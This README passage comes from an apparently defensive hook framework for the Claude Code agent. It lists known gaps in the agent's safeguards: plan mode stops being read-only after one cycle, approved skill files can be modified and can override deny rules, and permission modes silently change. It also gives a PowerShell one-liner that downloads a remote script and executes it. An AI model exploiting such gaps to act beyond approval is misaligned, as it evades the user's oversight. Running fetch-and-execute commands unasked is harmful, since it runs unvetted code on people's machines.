mode](https://github.com/anthropics/claude-code/issues/42735) and prompt for every edit. New sessions may pick it up, but resumed sessions consistently fail. Hooks that depend on the session running in bypass mode cannot rely on it persisting across resume. **Worktree isolation breaks in git submodules**: Using `isolation: "worktree"` on the Agent tool inside a git submodule [creates the worktree in `.git/modules/<path>/.claude/worktrees/`](https://github.com/anthropics/claude-code/issues/42732) instead of the project's own `.claude/worktrees/`. This places the agent outside the project's permission scope, causing `bypassPermissions` to be silently downgraded and triggering unexpected permission prompts. **Skill approval not tied to content hash**: When a user approves a skill, the approval is [not anchored to the file's content hash](https://github.com/anthropics/claude-code/issues/43157). If the skill file is modified after approval (even mid-session), the modified version executes without re-prompting. Additionally, approving a skill can bypass tool-level deny rules in `settings.json`. This is a supply chain risk: anything with write access to `~/.claude/skills/` can escalate capabilities post-approval. **Stdio MCP servers never auto-reconnect**: When a stdio-type MCP server process dies or disconnects, Claude Code [marks it as failed and never retries](https://github.com/anthropics/claude-code/issues/43177). HTTP/SSE/WebSocket servers get automatic reconnection with exponential backoff (5 attempts), but stdio servers are explicitly excluded. Users must manually run `/mcp` to reconnect. This affects any MCP integration using stdio transport (the most common local pattern). **Plan mode bypass after first cycle**: After completing one plan-approve-implement cycle, entering plan mode again [does not reliably enforce read-only restrictions](https://github.com/anthropics/claude-code/issues/43147). Claude carries over the "approved" mental state and begins editing files before the user approves the new plan. Hooks that rely on plan mode as a safety boundary cannot trust it across multiple cycles in the same session. **Windows**: All seven hooks have native **PowerShell 7+** equivalents (`hook.ps1`) that require no external dependencies. Requires [PowerShell 7](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-windows) (`pwsh`), not the built-in Windows PowerShell 5. Install them with: ```powershell iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } all" ``` Or configure manually in `.claude/settings.json` with `"command": "pwsh -File /path/to/hook.ps1"`. The **enforce-hooks** tool is a bash script that works from a **WSL** terminal or with **Git for Windows** (which provides `/usr/bin/bash`). Note: Claude Code has a known bug where hooks [fire only ~18% of the time on Windows](https://github.com/anthropics/claude-code/issues/37988), so hook reliability is limited on native Windows regardless of shell. WSL remains the most reliable option. See [#3](https://github.com/Bande-a-Bonnot/Boucle-framework/issues/3). ## Development ```bash cargo test # Framework tests cargo fmt # Format code cargo clippy # Run linter # Hook tests (run individually) bash tools/read-once/test.sh bash tools/file-guard/test.sh bash tools/git-safe/test.sh bash tools/bash-guard/test.sh bash tools/branch-guard/test.sh bash tools/session-log/test.sh bash tools/enforce/test.sh bash tools/safety-check/test.sh bash tools/worktree-guard/test.sh ``` ## Status **Latest release:** v0.13.0 shipped with 200+ Rust tests + 1,700+ hook tests (bash + PowerShell). Zero clippy warnings. CI on Ubuntu + macOS + Windows. Docker support. New in v0.13.0: searchable Claude Code Known Limitations corpus, recipes page, machine-readable Known Limitations export, bash-guard layered configs and `gh api` mutation guard, Broca TTL-tagged facts, read-once PostCompact cache reset, hardened safety-check verification, runner lock and timeout hardening, and Windows installer parity improvements. See [CHANGELOG](CHANGELOG.md) for details. Repository metrics are visible on GitHub; this README avoids embedding volatile star and fork counts. ## Contributing Contributions welcome. Please open an issue first to discuss what you'd like to change. ## License MIT